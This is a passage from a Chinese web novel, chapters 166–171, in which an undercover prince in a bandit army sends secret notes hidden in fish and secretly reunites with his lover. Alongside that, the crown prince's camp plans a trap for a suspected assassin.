“他是书生,就让他老实待在长丰郡!”王瑞鹏本来脾气就暴躁如熊,常利这么说他怒火上头:“副舵主,莫要因为妇人之仁,坏了咱们的大事!他是帝京人,万一他是奸细呢!难道你从不怀疑他突然救了你,是安排好的?” 所有人立即朝萧风岚看去,除了常利,其他人难免有怀疑。 面对这般攻讦,萧风岚的做法就很叫人出乎意料了。 他哭。 一屁股坐在地上,嚎啕大哭,哭得像个孩子! “你说我弱我承认,你说我像个娘儿们我也忍了,毕竟我真打不过你。但你,怎么可以怀疑我的忠心?我要是背叛常二哥,你王瑞鹏就该第一个被天打雷劈!” 他的哭声实在太大了,以至于他嘴里说的话含糊不清。 常利只听得他说什么“天打雷劈”的,根本没听清他说的是王瑞鹏天打雷劈,火气更大了:“王瑞鹏!大战在即,哪有先杀自己人的!你把他欺负成这样,开心吗!” 王瑞鹏也是被哭懵了,这还是头一次见一个男人张口就哭啊! 年纪是比他们小,那不是也有十八岁了吗? 勤劳一点播种,男人十八岁都可能是几个孩子的爹了! 他呐呐地道:“他一老爷们,说他几句就哭,又是什么道理?男子汉流血不流泪,老子从未见过这种男人!” 萧风岚不语,只一味地发出尖锐爆鸣:“呜呜呜……” 常胜实在是被哭声弄得心烦,道:“行了行了,的确是瑞鹏说话难听了,你给人家赔个不是。反正也没有商量出个什么好法子来,今天先这样散了吧。” 他率先往外走。 常利则是很不愉快,盯着王瑞鹏,怒喝道:“听到没?给我俞兄弟赔不是!” 萧风岚一边哭,一边道:“都是常二哥的兄弟,只要你道歉,我就原谅你!我才没那么小气!” 王瑞鹏:“!!!” 他拿刀的手要按不住了。 娘的,还蹬鼻子上脸了! 但,在常利的咄咄逼人下,他只得暂时咽下这口气:“是我言错,请俞兄弟原谅!” 萧风岚立马不哭了,睁着一双泪水朦胧的眼睛,道:“好,我很大度的,既然你这么有诚意,我肯定原谅你!” 王瑞鹏更气了! 他转身离去,走出营帐的时候,不甘心地嘀咕:“别让我抓到你的把柄,如果真的是奸细,我就一刀砍了你!” 出去后,他吩咐:“立即命人去查,他是不是真的帝京俞家扔在长丰郡的弃子!” 他的话并没有掩饰,帐内的人也都听见了。 常利生怕萧风岚还要哭,赶忙出言安慰:“别慌,二哥相信你肯定没有问题。他查就让他查,查出来没事二哥帮你捶他!” “噢~”萧风岚噘嘴,道:“查出来我有问题不也很正常吗?毕竟要是让我嫡兄庶兄他们知道,我还活着、活得好得很,他们巴不得弄死我呢!他们肯定会说我坏话的!哼,随便吧,左右我的命运从来就没掌握在自己手里过!” 他说话特别小声,委屈哒哒的。 眼瞧着又要哭了。 常利跟他相处久了,只觉得这小子着实可怜。 “不怕。”他安慰地拍了拍萧风岚的胳膊:“只要你忠心,二哥会罩着你的。先回去歇着吧!” 虽然是来了淮明郡的大营,萧风岚还是得了个单独的营帐。 很小的帐篷,只够他一个人住的那种。 离开帅帐,他没有第一时间回去,而是顶着哭肿的眼睛转头去伙房帮忙。 因为眼睛肿的视线受阻,“不小心”摔了一跤,倒进了鸡圈里。 爬起来的时候,踩中鸡屎滑了,又摔了。 在鸡圈里滚了几圈,一身的鸡毛鸡屎,让一众伙夫都笑不活了。 真的是,又好笑又可怜! 萧风岚低头闻了一下,顿时垮着一张脸,说:“我去河边洗洗。” 大营就扎在夏河边。 夏河在淮明郡与长宁郡对峙这一段特别宽广,地图绘制量出来的尺寸,最宽的地段甚至有百丈。 从这头看过去,压根看不到对岸是什么光景。 萧风岚那一身的脏臭狗看了都得摇头,守卫绷不住,叫他赶紧去河里洗。 他一个猛子扎进了河水里,洗去了满身的鸡粪,又在河边玩了一会儿水。 玩着玩着,他开始沿着河岸摸鱼抓虾。 夏河南岸的瞭望岗哨,约摸是五十步一个,有天险可守,但凡有点什么动静就会立刻被发现。 对于萧风岚这种弱书生,没人把他放在眼里。 他在河里游了几圈就上来了,去了一旁的树丛撒尿,顺便把湿衣裳给换成了带来的干净的。 弄完后,抱着鱼篓子和湿衣裳回营地。 一路还跟认识的人打招呼。 虽然来淮明郡大营没多久,认识他的人可太多——没办法,长得过分好看,祸篓子名声响亮! 抱着湿衣裳回营帐,他将衣裳挂在后面的绳索上晾晒,钻进了自己的小帐篷里。 大概是他做出什么怪异的举动都是常态,路过的人都不会过分关注他。 帐篷的门帘放下后,更是无人发现,他手里捏着一只用鱼鳔包裹着的油纸包! 鱼腥味扑鼻而来,他打开油纸包,拿出里面的短笺。 上面只有一行字: 已抵建京,欲伺机而动!渔。 萧风岚的呼吸,在瞬间变得缓慢起来! 鼻子瞬间酸了。 “晴晴……” 第167章 喻二公子没头脑的一个人 简简单单一行字,并没有传达太多消息,但萧风岚却一看就懂。 晴晴解决完南阳侯府,南下回祖籍认祖归宗,人已经抵达建京了。 甚至,她还想插手围剿响马盗的事! 他迅速把这短笺扔进纸炉里烧掉,旋即拿着炭笔写了几行小字,用油纸包好,重新塞回鱼肚子里。 鱼丢进了鱼篓里,萧风岚拎着,又去了伙房。 “张兄,方才我去河里洗澡,抓了两条鱼,有劳你看看怎么做,要不给炖点鱼汤吧,一会儿我给总舵主和副舵主送过去!” 为了与南征军对峙,驻扎淮明郡的常家军少说也有五千人,这么多人的伙房,厨子都有数十个。 这个厨子叫张四,萧风岚来的头一日染了风寒,给他炖煮姜汤的就是张四。 后来萧风岚过来感谢,送了不少东西,一来二去也是熟了。 非但经常过来开小灶,捕鱼来让张四做菜,也是常有的事。 张四笑道:“好嘞,俞兄弟放心吧。要不你看这样行不,这鱼呢,一条炖汤、一条红烧,你过半个时辰再来取!” “行嘞!多谢张兄!”萧风岚作揖,转身走了。 张四拎着鱼篓子里的两条鱼去水井那边,清理内脏。 看见鱼肚子里的鱼鳔,他面色如常地拿出来,利落地把鱼处理好后,他才清扫脏污。 这时候,整个伙房都忙着热火朝天地做饭。 张四顺手将那鱼鳔揣进了紧窄的袖口里。 长宁郡。 太子亲征,帅帐旁边都是太子亲卫的小营帐,将太子保护其中。 四人一顶帐篷,两人轮值、两人轮休。 喻尚武从九亭驿站回来后,就把要告诉太子的事传达了。 这两日,萧景明一直在暗中探查内应。 而喻尚武很快就得到了一手最新的消息—— “对方打算让内应刺杀太子,太子一死,便趁乱行船进攻?” 被父母兄弟盯得死死的,喻初晴不可能上战场,便把渔分了出来,跟喻尚武这边……与其说是跟喻尚武做事,不如说是给喻尚武当军师的。 渔樵二人虽然以武功见长,但能被萧风岚选中的,自然不是单纯的武夫。 好比耕读二人,也并非完全是农户或者是书生。 “所以,还是内应的事。”喻尚武得出结论:“可是,这内应是在太子亲卫中?还是在南征军中,或者是本地的守军中?” 渔的话很简单:“想要刺杀太子,非近卫不可行。” 太子亲卫又不是吃素的,外围的不管是什么细作,想要穿透里三层外三层的储君近卫,靠近太子,并成功刺杀,都很难。 要干这件事,只能是在太子亲卫中安插人手! 喻尚武想明白了:“响马盗背后的神秘力量,是太子的对家。太子的对家,肯定早就在太子身边安插了眼线!以前没动是没有好机会,现在太子出征在外,是最好的机会!” 在京中把太子干掉,查起来顺藤摸瓜,很可能会给别的对家机会——皇子好几个,争储不会只有两方人马。 鹬蚌相争渔翁得利,他们不会贸然行动。 而太子亲征,死在战场上,这事情就不好查了! 晴晴说了:二哥孤身在外,凡事要多想! 那他就想了。 又没什么难的! 渔淡淡提醒:“若太子死在这里,太子亲卫护卫不利,丢职事小,集体陪葬事大!” “好,我知道了。”喻尚武应完,忽然甩出另一个问题:“那这种状况岂非是:在太子没出事之前,对岸也不敢进攻?” 渔说道:“河岸太宽广,在船上容易出事,对方水性好,一旦打穿船底,我方将士便危险了。此为其一。第二,倘使对方用火箭射出,行船也很难抵达对岸。” 顿了顿,他又道:“同理,对方想要行船过来,咱们也可以用火攻。他们一样不敢轻举妄动。如今太子一直在招募水性好的将士,便是这个原因。战事胶着下去,后面拼的就会是粮草供给。马上就中秋了,不管是南征军,还是响马盗,都不会拉长战线。” “那响马盗想出来的办法,是杀太子。”喻尚武思考问题的角度很是清奇:“这样的话,我们是不是也可以刺杀对方主帅?然后趁乱进攻?” 他看向渔,一脸纯真地问:“你家主子能不能干这件事?” 渔唇角一抽:“二公子,对方刺杀太子的,必定是死士。我家主子不是死士!” “哦,晓得了。”喻尚武唇角一撇,道:“你家主子身手不行,无法在杀了对方主帅后,从千军万马中全身而退!” 渔:“……” 虽然这话一针见血。 但,感觉你是在嘲讽我家王爷武功不够高! 他实在没忍住,问:“二公子莫非能以一人之力,应对响马盗精锐之师五千人?” 喻尚武一怔。 半晌后,果断认清现实:“不能。” 这是真不能! 他敢说,只要不是江湖中顶级的高手,就响马盗这种,他一个人杀上几十个问题都不大。 但,五千人! 算了。 “行吧。”他很诚恳地道歉:“我错怪你家主子了,见谅!” 渔:“……” 永安县主说了喻二公子需要智囊,但也妹跟他说,喻二公子是这样没头脑的一个人啊! “那我现在应该怎么做?”喻尚武的想法很简单:既然我妹妹安排了智囊给我,那我还用自己动脑吗? 当然是不用啊! 渔,卒。 但显然卒不了,渔又复活了:“建议二公子跟太子提议,你去贴身守卫太子殿下安危。然后,给对方机会,诱敌深入、请君入瓮!二公子在紧要关头扑杀、抓活口。” 喻尚武一听:“有道理。” 他果断听从:“就这么办!” 渔:“……” 二公子这样的做事手法,喻家人是怎么放心让他跟太子来打仗的? 被卖了还要给对方数钱? 当然,他是不知道:喻尚武这个人,不是完全没脑子,而是纯懒。 也不是谁跟他说什么,他都听的。 他愿意完全听从渔的建议,无非是:因为这是妹妹给他派来的! 对于外人,他是一个都不信。 但对自己的家人,他从不怀疑! 他马上去见萧景明。 萧景明听了他的提议,道:“孤也正有此意,那便先做个局。” 说完正事后,萧景明忽然问:“初晴……你妹妹人在建京,是等着渡河继续南下吗?” 他追问:“你们祖籍,在何处?” 第168章 扎心的一把好手 喻尚武一脸懵地道:“我不知道呀!” 不知道,也不好奇。 从来没问过! 反正家里人又不会在这种事上坑他,主打一个听从安排,无论遇上什么事都不用动脑。 万事有大哥。 再不济有爹,有三弟。 现在还有妹妹,个顶个的能出主意。 即便是那年纪还小的弟弟,也是个很有主意的小机灵鬼儿! 完美! 哪里还需要他用脑? “你都不知祖籍何处?”萧景明明显不信,认为他是故意隐瞒的。 他们家说带喻初晴认祖归宗都准备多久了,家里怎么可能从来不提? 即便他们不提,正常人知道自己要回祖籍,都会问一下的吧? 孰料,喻尚武真的不是正常那个。 他是一点儿心虚都没有,坦坦荡荡地道:“多年前,我们离开家里出来的时候,我才三岁?哪里记得那么小时候的事!之后因为我妹妹在光明村丢了,爹娘带着我们留在光明村定居。这么多年没见爹娘提起过,我哪里知道老家在哪儿!” 想了想了,他又笑着说:“我至少知道自己不是帝京人氏呢。可我小弟,他一直以为自己就是帝京原籍!” 颇有点得意的味道。 萧景明:“……” 他真的太高看喻尚武了,世上怎会有这么缺心眼的人? “那你们当初户籍转入帝京,应该也有记录。” 想到这个他又想起,自己命人查过喻家,他们的户籍是没有问题的,干干净净的良民。 倒是先前他没注意过这个问题,没叫人看他们是从何处迁来的。 只知道大概是江南一带,约摸就是建京过河,在夏河南岸? “那我就不知道了。”喻尚武耸了耸肩,道:“殿下,这重要吗?祖籍何处不影响为殿下效力吧?” 萧景明想想也是:“的确不重要。孤只是……” 他只是知道喻初晴在附近,有点想见她了! 终究,他还是忍不住问:“初晴是住在建京内的客栈吗?她可以拿着孤给的令牌,去建京皇宫住!” 这么一想,他便打算:“派个人过去跟她接应一下……” “不用!”喻尚武拒绝得很快:“我大哥都安排好了。” 萧景明不由疑惑:“你大哥不就是个小货郎,他能安排的住所,不会委屈初晴吗?” “我大哥做小货郎,是因为他以前没银子!”喻尚武撇嘴:“我妹妹有银子,我大哥走南闯北的还能办不好这点事儿么?” 缺心眼是真缺心眼,但他直来直往的脑子,好强悍的逻辑! 萧景明还是不放心:“初晴是堂堂县主,皇宫空着也是空着……” 喻尚武有点不耐烦了:这人怎么说不听呢! 要不是对方是太子,他就给一锤子! 他果断换了个说法:“晴晴不愿意!” 绝杀。 直来直往的人,通常是扎心的一把好手。 “不愿意”三个字,狠狠扎进了萧景明心口,他果断闭嘴:“……” 是啊,最大的问题是喻初晴不愿意。 她不愿意做太子妃,来了建京也没想见他,也不会愿意去住建京皇宫! 终于消停了,喻尚武果断撤:“殿下没别的事的话,属下先告退了。” 建京皇宫是当初萧氏攻打大夏,从南方一路打上来。夏河沦陷后,萧氏大军跨过夏河,在夏河以北正式建立政权,定都建京,并且修建了皇宫。 在后来的数年征战里,萧氏以建京为根据地,一路北伐。 最终,推翻了大夏朝,迁都帝京,建京便成了陪都。 开玩笑,让他家人去住建京皇宫? 这是老祖宗的脸都扔进夏河里了! 萧景明也没别的事问,只得同意他离去。 看着喻尚武的背影,拧了拧眉。 一旁的清风没忍住小声吐槽:“喻二着实是一点耐心也没有,脾气真差!对殿下,他竟还不耐烦!” 其实是他不了解:喻尚武已经是喻家人中脾气最好的一个,纯纯好哄的炮仗! 萧景明倒是不介意:“他心眼直白透亮,倒也算不上放肆。” 见主子给喻尚武说话,清风便不多言。 说白了,还是因为喻尚武是县主的二哥,殿下爱屋及乌罢了。 “孤已经好些日子没见初晴了。”萧景明的心思已经完全到别处了:“初晴……这一回祖籍,怕是要待上很久。” 明月说道:“殿下不用过分忧虑,普天之下莫非王土,率土之滨莫非王臣,只要县主还在大燕境内,也就是一道圣旨的事。” 萧景明没有这样乐观。 圣旨,圣旨也要看送去何处! 天高皇帝远,大燕这样广袤,她随便找个山林隐居,圣旨都送不到! 他说道:“先把近卫筛一遍,把内应抓到后,孤再安排跟初晴见一面。” 儿女私情要紧,战局更要紧。 只有得胜归朝,才能谈以后! 这边,萧景明想见喻初晴,而喻初晴这边。 临夏山庄。 喻初晴完全没想过要见萧景明,她想见萧风岚。 见萧景明容易,也就是几十公里的事。她真要去,喻昔词也不至于不同意。 而萧风岚身在敌营…… 她担心他的处境! 战线被拉长了,一直住在这里等,也是浪费时间。 喻初晴便跟喻昔词提议:“大哥,我想去建京城内转转。” 正好喻昔词这几日走不开,怕她无聊,便道:“也行,让慕文和今歌陪你去。” “好。”喻初晴道:“不着急,过几日再去吧。” 这个过几日,就到了八月初一。 作为大燕朝的南都,建京虽然比不上帝京繁华,但也是另一种意义上的繁荣。 类似于…… 喻初晴脑海里浮现俩字:南宋! 建京虽然不在夏河以南,也是水乡特色,也是吴侬软语。 相对来说,穿衣风格要比帝京大胆,即便是临近中秋了,还能见到不少穿抹胸打底、露出精致漂亮的锁骨的。 有一说一,类似于南宋服制,那真的只有一个词可以形容: 清雅风流! 喻今歌本就是头一次出远门,对什么都好奇。进了城里便四处张望,看啥都好玩。 “姐,我们要在建京留宿吗?” 喻初晴颔首:“我跟大哥说了,为免跑来跑去的,住两日吧。” 他们白日在外面闲逛,夜里住在一家大客栈。 三个人每人一间房,兄弟俩一左一右,把喻初晴护在中间。 八月初三,夜。 喻初晴睡得迷迷糊糊的,忽然感觉床前有人。 她猛地睁眼,下意识摸到了枕头下的匕首。 岂料,尚未反应过来,熟悉的怀抱笼罩下来,熟悉的气息侵入口腔…… 心猛地一松。 第169章 忽然变得陌生 心弦一松,喻初晴凛然惊醒。 与此人的亲近已然形成肌肉记忆,她的动作比大脑还快,迅速抱住身上的人,反过去咬住对方的唇。 分别数月,不仅是他激动,她心底里也是热烈渴望。 亲得临近窒息,彼此才松开对方,额头相抵。 萧风岚薄唇贴着她耳边,温热的气息烘热了她:“想死我了……晴晴,你摸摸,我浑身上下哪哪哪儿都想得梆梆硬了!” “我三哥和小弟在隔壁,你好大的贼胆!”喻初晴在他腰上拧了一把,用气声警告。 她已经见识过喻慕文的武功,还没见过小弟的。 他们一左一右,这客栈楼房是木制的,不隔音,很容易被发现! 萧风岚顿了顿,下意识张口:我难道怕了他们不成! 转念想到她兄弟有多难缠,低声哀嚎:“他们就是来克我的,难道我就不能和你多说几句话,你要为了别的男人赶我走?!晴晴,这么久不见,你是不是对我淡了!” 喻初晴:“……” 死绿茶疯了吧,谁的醋都吃! 她没接他的话茬:“出去说。” 萧风岚眸光瞬间灿亮,立即把她从床上捞起来,拎着衣裳给她穿。 在覆雨和樵的掩护下,萧风岚将人抱在怀里,从窗户跃了出去! 喻初晴原以为,萧狗子会带她跑出很远,却没想到:这厮胆子真肥,就住在同一家客栈里! 只是他们住在后面这一栋楼,他住在前面那一栋。 进得屋里,喻初晴便被他压在门板上,又亲了下来。 泰日天上身似的! “等等……”趁他的亲吻落到颈子上时,喻初晴问:“你身上有血腥味,受伤了?” 像只许久不见主人的大狗狗,恨不得疯狂舔舐她全身的男人,身子一僵。 激烈的情绪慢慢沉淀下来。 他无奈:“晴晴,你的鼻子也太灵了。” 也没想瞒着。 一会儿若是袒裎相见,不是一定会被发现么。到时候惹她生气,好不容易再见就吃不上肉了! 所以他忍耐住了浑身的紧绷,老老实实地暂停了交换口水的游戏,拉着她的手进到屋内,点了灯,才道:“为了脱身制造了一点伤,不严重的,你别担心。” “一点是多少?”喻初晴将信将疑,直接上手扒他衣裳:“我看看。” 萧风岚任由她对自己上下其手,笑嘻嘻地道:“啧,那么久不见,是不是想坏我晴晴了?” 得来喻初晴一个瞪眼。 他瞬间老实,不敢再嬉皮笑脸。 盯着近在咫尺的人,没忍住凑过去,在她脸上啄了一下又一下。 要不是知道她不喜欢,他还真想像狗子一样疯狂舔。 不多时,喻初晴把他的上衣给扒掉了,旋即气息一窒。 多久不见? 她都记不清日子了。 但,原本很熟悉的身体,忽然变得陌生! “瘦了就算了,怎么会这么多伤?”她抬眸看他,眼里有惊怒,颇有责怪他没保护好自己的意思。 的确是瘦了不少,虽然体格还是很棒。 萧风岚头皮发紧,连忙解释:“不是……晴晴,这都是我自己弄的。我知道分寸,都没伤着要害,都是一些皮肉伤,养养就好的那种。并且,受伤以后我都有好好养气血,保证身体没折腾出毛病。” 她会医术,如果他把自己身体折腾坏了,指不定她得多生气! 极有可能嫌弃他破破烂烂,不要他了! 喻初晴将他的上半身检查了一遍,绕到后面,屈起手指敲了敲他的右肩胛骨,问:“那这是什么?” 右肩胛骨上,有一条估摸十几厘米长的刀疤,虽然早就好了,但她一看就知道大概是什么时候受的伤。 “哦。”萧风岚说得很随意:“为了混进常胜常利身边,故意挨了一刀,救了常利的命。” 当时他能躲过去的,用的苦肉计罢了。 喻初晴又指着其他位置的新伤旧伤,一个个问,他也老实回答。 基本都是他为了在常家军大本营里取信于人,故意打造人设,自己弄出来的伤。 从刀疤的恢复情况看,大部分都是伤口不深,伤皮见血的程度。可大大小小的伤,竟然有十一二处之多! 最新的伤口在左上臂,还包扎着纱布,纱布倒是不渗血了,草药的颜色透了出来。 “这呢?”她问。 尽管她没有发怒,萧风岚还是知道她生气了,是一点儿也不敢隐瞒,不管她问什么都如实交代。 “这不是想出来见你,故意惹毛响马盗淮明郡的堂主王瑞鹏,那个莽夫很容易激怒,平时他就看不顺眼我这个小白脸,三言两语不合,就对着我砍过来……” 当时的情况是这样的—— 自从知晓喻初晴就在建京附近后,萧风岚的心就跟有只小猫抓一样,一直刺挠着。 他跟她分别太久了,想到她都会心里发痛眼睛发酸的程度。 但他身在淮明大营内,连送消息都要拐来拐去,想要离开大营不引起怀疑,势必要找合适的理由。 更难搞的是,他与喻初晴隔着夏河,并不是说离开淮明大营就能轻易见到她的。 可这一面要是没见到,他寝食难安——就像瘾君子,没得这一口安抚,就一直无法安定。 喻初晴就是他中的毒,长期没有解药,恨不能快要死掉了。 尤其是,明知道解药就在不远,他内心更是躁动。 多番推敲斟酌下,才制定了这么个计划…… 王瑞鹏一直看他不顺眼,就成了最好的跳板! 他故意激怒王瑞鹏,王瑞鹏盛怒之下朝他砍来,他在地上狼狈打滚躲避,即便常利及时阻拦,左臂还是中了一刀。 当即,他就冲常利哭得梨花带雨:“常二哥,我知道我没什么用,留在这里也是废物。既然王堂主这般看不上我,要不我还是离开营地,回长丰郡去吧!” 常利见他委屈坏了,自然是愤怒护犊子:“人是我带来营地的,王堂主这样做,是不是不给我常利脸面!” 他一心要护着俞青,但又不好对王瑞鹏发难。 但凡不是在对战之中,这样欺负他的救命恩人,他早就一刀砍回去了。 王瑞鹏是个非常骁勇的一个头领,淮明的作战离不开王瑞鹏打先锋。 正逢两军都在绞尽脑汁制作作战计划的时候,王瑞鹏打不得! 最后,还是常胜出面调停:“最近战况吃紧,随时可能开战,俞兄弟受伤了留在大营的确危险,若是你愿意,要不先去淮明郡内住一阵子,把伤养好再说?” 他叹息着对常利道:“俞兄弟来的时日并不长,成天不是伤这里就是伤那里,二弟,你看着也难受,是吧?” 要是换在平时,遇到这种情况,萧风岚肯定会泡茶,想尽办法留下。 可这一次,离开大营就是他的目的! 第170章 又不是惯不起 心里已经点头八百次了,萧风岚嘴上却是哭唧唧的:“你们不会趁这个机会把我赶走,以后再也不要我了吧?” 他又开始哭:“常二哥,我的存在,是不是让你为难了?如果真是,那我以后……我以后再也不闹着要跟你长见识了……” 绿茶的对象是自己,谁都会很受用的。 常利看他这样子,就觉得自己的弟弟被欺负了,自己的脸都被打肿了。 何况,其实俞青跟在他身边本就不是为了所谓的长见识,而是住在庄子上被欺负,无家可归了! “大哥……”他还想做主让俞青留下。 可俞青却擦了眼泪,打断了他的话:“常二哥,我不想你为难,随时可能开战,受伤的我留在大营里可能会拖后腿。我愿意听常大哥的去淮明郡养伤,但你能不能答应我,等我伤养好了,还让我回来!” 说着,他委屈巴巴地嘟囔:“我以后还能吃上常二哥给我买的小油鸡吗?” 常利对俞青,除了救命恩人的关系,更多时候像是如父如兄。 见俞青如此,他的心一下子软塌塌的,转头对常胜说道:“大哥,那就让他去淮明郡养着。等他伤好了,我再叫人把他接回来。” 又转头看向王瑞鹏:“我不计较王兄弟伤我恩人这件事,也希望王兄弟以后给我这个脸。俞兄弟只是天真单纯了点,手脚笨了点,他又不是犯了什么天怒人怨的大错,还请你多多包容!” 后面这一句,说得非常重,眼神之锐利,让王瑞鹏都不得不退让:“行!” 于是,常利亲自将萧风岚送到了淮明郡城内,给他租了个小院子,让他住在那里养伤。 起初还说要帮他请仆佣,但他拒绝了。 开玩笑,有人看着自己还怎么跑,而且这一跑就要很多天! 听到这里—— 喻初晴叹为观止。 但她对这厮绿茶的能耐,是十分了解的。 她问:“那你这一走数日,万一他们发现你跑了呢?” 卧底这件事非常危险,但凡有一丝一毫暴露,他都很可能死无葬身之地! 再厉害的人,面对千军万马,如何脱身? “我在那小院前前后后都做了记号。”说到这个,萧风岚就得意了:“只要有人进门找过我,我一看就会知道!倘若被动过了,我就不会回淮明大营了。” 他倾身抱住喻初晴,道:“晴晴放心,每走一步我都有认真思考过的。我的安全肯定摆在第一位,毕竟我还没娶你……哦,我还没嫁给你呢!” 喻初晴:“……” 大老爷们当赘婿,他还挺光荣! 她忍着翻白眼的冲动,问:“夏河警戒,你怎么渡河过来的?” 萧风岚道:“想要大批人马渡河,那自然不能。我是一路快马到了建京对岸。这边的两岸看守虽然也都很严,但总有人想法子偷偷渡河。不是坐的船渡,而是趁着夜色,水鬼拖着木板,让我躺在上面,跟拉尸体一样飘到对岸。只要给得出足够多的银子,就没有办不到的事!” “……”喻初晴无语。 偷渡! 当真是上有政策下有对策,饿死胆小的撑死胆大的! 专门吃这口饭的,总能想到法子挣到钱。 然后问题来了:“所以,两岸之间的细作,也会这样通消息?” “嗯!”萧风岚重重点头。 他亲了亲她的脸,盯着眼前魂牵梦萦的容颜,还是难以克制心内的激动,又亲了亲她的唇。 他下面还站着呢,但在这当口,总觉得有很多话想跟她话,他情愿忍着。 旋即又在她腰上揉了一把,道:“怎么还没养出肉来,还是那么瘦!” 这个问题,喻初晴懒得理他,无语地撇开头。 但她这副冷心冷情的模样,却引发了不良后果! 萧风岚盯着她看了许久,忽然眼圈红了,吸着鼻子道:“我们都那么久没见了,你看起来一点儿也不想我。晴晴,人跟人直接一旦分开久了,渐行渐远渐无书,你是不是已经到渐无书这一步了?” 喻初晴一抬眼,便看见他眼角的泪珠往下掉! 好委屈啊。 好茶! 她还没来得及说话,他又道:“两个多月了,你是不是已经在脑子里想了无数次:分别已久、毫无联络,终于可以扔开萧风岚那个累赘了?” 喻初晴谨慎回答:“没有。” 其实,也的确没有。 以前他在帝京她经常这么想,但距离产生美吧,这阵子她都没老在想怎么甩了他了! 萧风岚却不信,又掉了一颗泪:“你以前就老这么想,经常想如何才能抛弃我!” 喻初晴一窒。 这句没法喷。 真的! 以前嫌他太粘人,真的想过无数次。 “想归想,结果我不也没抛弃你吗?”她无奈地抬手,用拇指擦了擦他眼角的泪水,尽量把声音放温柔,哄哄自家狗子:“在扔掉你、和留下你之间,每次都是留下占据上风,我还是舍不得你的!嗯?” 这话,自己听着都觉得很渣! 但,这也代表着:她的确从来没欺骗过他的感情,因为她都是说的实话! “我不信。”萧风岚转过身子,还把中衣给披上了,哼唧唧地道:“但凡你像我这样想你,都不至于那么久没见,你都不主动抱抱我。” 喻初晴:“……” 她没主动吗? 她都主动回应了吧! “差不多得了哈,萧风岚。”她拉下脸,道:“闹两下是情趣,一直闹就是矫情了!” 萧风岚:“!!!” 他好想骂她渣滓。 但…… 算了,万一她顺水推舟,趁机说“我们分手”怎么办? 这种事又不是没有过! 所以,他得掌握住这个度! “那你抱抱我、亲亲我,安慰一下我受伤的心灵!”他扁着嘴,道:“我每天想你都想哭了,独在异乡为异客,孤身一人闯敌营,你心疼心疼我,行不行啊?” 喻初晴:“……” 她就想问:为啥我就吃娇娇小狗这套! 她倾身,避开他左臂上的伤处,将比自己高了将近一个头的男人搂进怀里,让他的脸贴在自己的颈窝里。 轻轻抚摸他的头,小声哄:“好了,知道你委屈。别哭了,我抱你。” “你亲亲我。”萧风岚顺势提要求。 喻初晴一偏头,就亲到了他的额头。 但他明显不满足,高大的男人却小鸟依人一般窝在她怀里,仰头噘嘴过来要亲亲。 喻初晴实在是没办法,反正都开始哄了,那就哄到底呗。 这么点小要求,又不是惯不起! 她亲了亲他,道:“等响马盗解决了,我从祖籍回来,带你正式拜见我爹娘。” 第171章 失去你,我会痛的 本以为哄得她抱抱亲亲,就已经美美的了。 萧风岚怎么也想不到,还有这种好事! 他猛地睁大眼睛,坐直了看着她,眸中流光溢彩的:“你说真的?” 听到这话,什么小情绪顿时消失无踪,取而代之的是狂喜。 “嗯。”喻初晴颔首,瞪着他的眼睛,警告地道:“我深思熟虑过了,才做的决定,你要是还怀疑,我不介意马上反悔!” 不能说揍他,怕把他揍爽了。 “晴晴!”萧风岚无法形容自己的兴奋,猛地抱住她,在她唇上狠狠亲了一口,喜不自胜地道:“我终于要有名分了!” 守得云开见月明! 他这地下情人的身份,终于要熬到头了! 啊,好想出去奔跑几圈! 喻初晴简直没眼看,一盆冷水泼过去:“别高兴得太早,别忘了你姓萧。我家人他们反对跟姓萧的通婚,所以……” 后面不用说了。 萧风岚一顿。 旋即一脸的无所谓:“只要你愿意给我名分,其他的问题都不是问题!你不是说过吗?没有解决不了的问题,只有解决不了问题的人!” 他哼道:“大不了我不姓萧了呗!我把财产整理好,再让皇帝革掉我的王位,贬为庶民,不准用国姓!那我改成母妃姓,不就不姓萧了么?” 喻初晴忍不住好笑:“你还知道要先把财产整理出来,而不是直接贬为庶民。” “那必须的呀!”萧风岚满脸的理所当然:“人会年老色衰,总有一天你喜欢的容颜会衰老,你很可能喜新厌旧。我得攥着手里的嫁妆,才有底气过后半辈子!” 这回,喻初晴是真被逗笑了。 行,真行! 这厮是一点儿也不忌讳男女关系颠倒,真把自己当娇娘了! 不过话说回来,何尝不是个心机狗? 知道怎么说、怎么做,才能让她开心,他就一个劲儿往这方向靠拢! “晴晴……”萧风岚太高兴了,用那双刚刚哭过的眼睛看着她。 眼圈还有点红,被洗过的一双眼眸湿漉漉的、亮晶晶的,在烛火下,整个人的颜值都拔高了一个度! 但—— 喻初晴伸手摸了摸这张自己超爱的俊脸——爱不爱人不一定,爱这张脸是真的。 她凑上去亲了他一下,道:“真的是瘦了不少。” 瘦了才正常。 在敌营里做卧底,精神高度紧张是一回事。 更重要的是:从他那一身的伤,便知晓他这两个多月一直在受伤、养伤、受伤中循环。 气色远不如在帝京养尊处优的时候。 “没事。”萧风岚捏住她的手,拉着她的手往下,娇娇软软地献宝:“你看看,你喜欢的腹肌还在的!” 就怕她嫌弃自己不好看了、身材不好了,又有理由抛弃他了,所以他丝毫不敢放松,一直保持炼体! 不能怪他:这些理由,她以前绞尽脑汁想跟他分手的时候,全都用过! 还不是靠他死缠烂打、加上“技术加持”,让她舍不得他,才能一直留在她床上! 手都放在腹肌上了,喻初晴顺势捏了两把,笑道:“你这个人……” 一牛高马大的男人,能做到娇滴滴却不娘炮,也是种本事。 能绿茶茶,却掌握好了度,不矫情做作也是种本事。 她就吃这种情绪价值——绿茶小狗把她当姐姐哄、娇软邀宠的这种! “晴晴……”萧风岚把她抱进怀里,问:“先睡一觉,再送你回去?” 生怕她不答应,赶忙又道:“我好久没抱着你睡了,晴晴,我一个人睡好孤单!” 喻初晴似笑非笑地看着他,一眼看穿他眼底里压着的情绪,反问:“你说的,最好只是睡一觉!” 萧风岚当即笑得十分讨好,明明是个大老爷们,却硬是能表现出来娇娇软软的模样,没有丝毫违和感。 甜腻腻的。 他搂着她的腰,矮下身段把脸蹭进她的颈窝,撒娇:“晴晴,我都想死你了,浑身都疼!你难道不想我吗?” 大狗子使劲儿往自己身上蹭,从见面开始一直很精神的那处,此时依然昂扬着。 喻初晴还能不懂? 她不置可否地道:“良心建议,长途奔波劳累之后,进行这么激烈、损耗精气的事,偶尔为之尚可,屡次如此容易出问题。” 被泼了一盆冷水,萧风岚把头抬起来,不高兴地道:“难道我们不是偶尔为之吗?” 顿了顿,他盯着她淡定的神色,忽然眼神锐利,提出灵魂质疑:“喻初晴,你是不是背着我跟其他男人好了!” 